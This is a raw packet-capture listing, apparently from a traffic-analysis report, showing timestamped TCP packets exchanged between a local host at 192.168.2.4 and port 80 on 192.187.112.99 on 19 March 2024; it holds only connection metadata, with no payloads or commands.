Mar 19, 2024 08:56:53.592161894 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592205048 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592236996 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592252016 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592286110 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592313051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592349052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592389107 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592427015 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592514038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592554092 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592639923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592675924 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592715025 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592750072 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592777014 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592812061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592840910 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592885971 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.592921019 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.592956066 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593036890 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593074083 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593080044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593115091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593137980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593173981 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593192101 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593226910 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593244076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593283892 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593317986 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593364000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593377113 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593410969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593461990 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593480110 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593501091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593507051 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593528032 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593547106 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593563080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593584061 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593619108 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593653917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593808889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593849897 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593880892 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593914986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.593945980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.593986034 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594017982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594033957 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594054937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594078064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594111919 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594146013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594151974 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594182014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594192982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594229937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594343901 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594382048 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594412088 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594446898 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.594476938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.594513893 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699434996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699516058 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699528933 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699564934 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699611902 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699657917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699734926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699783087 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699842930 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699892998 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699903965 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.699958086 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.699975967 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700021029 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700036049 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700082064 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700092077 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700125933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700165033 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700187922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700207949 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700226068 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700263977 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700298071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700309992 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700335026 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700350046 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700392008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700400114 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700437069 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700440884 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700478077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700480938 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700526953 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700604916 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700654030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700684071 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700726986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700835943 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700879097 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700928926 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.700978041 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.700994015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701025963 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701036930 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701061964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701100111 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701124907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701145887 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701159000 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701205015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701248884 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701270103 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701316118 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701431036 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701478004 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701546907 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701595068 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701611042 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701654911 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701673985 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701721907 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701742887 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701786995 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701889038 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701936007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.701946974 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701978922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.701989889 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702016115 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702076912 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702119112 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702121019 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702163935 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702189922 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702231884 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702261925 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702321053 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702337027 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702378035 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702404976 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702451944 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702498913 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702543020 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702563047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702606916 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702619076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702662945 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702678919 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702713013 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702725887 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702747107 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702780962 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702812910 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702817917 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702842951 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.702882051 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.702923059 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703047991 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703093052 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703108072 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703128099 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703147888 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703162909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703193903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703232050 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703243971 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703283072 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703289986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703316927 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703392982 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703439951 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703454971 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703486919 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703496933 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703521967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703543901 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703584909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703591108 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703635931 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703650951 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703696012 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703713894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703746080 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703763008 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703774929 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703798056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703835964 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703860998 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703895092 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.703937054 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.703973055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704005003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704041958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704063892 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704098940 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704134941 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704174995 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704176903 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704236031 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704246044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704288960 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704324961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704368114 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704382896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704423904 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704446077 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704483032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704498053 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704540014 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704552889 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704593897 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704603910 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704638958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704696894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704737902 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704751015 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704793930 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704822063 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704838037 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704869986 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704900980 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704943895 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.704968929 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.704999924 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705008030 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705035925 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705161095 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705200911 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705219984 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705255032 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705286026 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705331087 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705410957 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705446959 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705455065 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705496073 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705504894 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705550909 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705563068 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705595970 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705653906 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705703974 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705751896 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705799103 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705830097 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705872059 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705876112 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705904007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.705940008 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.705992937 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706001043 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706037998 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706041098 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706079006 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706114054 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706155062 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706187963 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706238985 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706252098 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706298113 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706329107 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706342936 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706372976 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706391096 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706417084 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706453085 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706468105 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706507921 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706587076 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706633091 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706648111 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706681967 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706733942 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706773996 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706779957 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706815958 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706851959 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706890106 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.706895113 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706926107 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.706957102 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707004070 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707020044 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707062960 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707093954 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707108021 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707139969 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707165003 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707204103 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707218885 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707262993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707341909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707386971 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707429886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707473993 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707484961 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707523108 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707562923 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707593918 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707606077 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707629919 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707640886 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707678080 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707741976 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707777977 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707798004 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707834005 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707859993 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707894087 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707916975 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.707956076 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.707978964 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708019018 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708022118 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708074093 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708090067 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708137989 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708152056 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708170891 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708197117 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708228111 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708250046 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708286047 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708292007 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708324909 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708327055 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708372116 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708384037 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708421946 CET	80	49729	192.187.112.99	192.168.2.4
Mar 19, 2024 08:56:53.708422899 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708471060 CET	49729	80	192.168.2.4	192.187.112.99
Mar 19, 2024 08:56:53.708498955 CET	80	49729	192.187.112.99	192.168.2.4
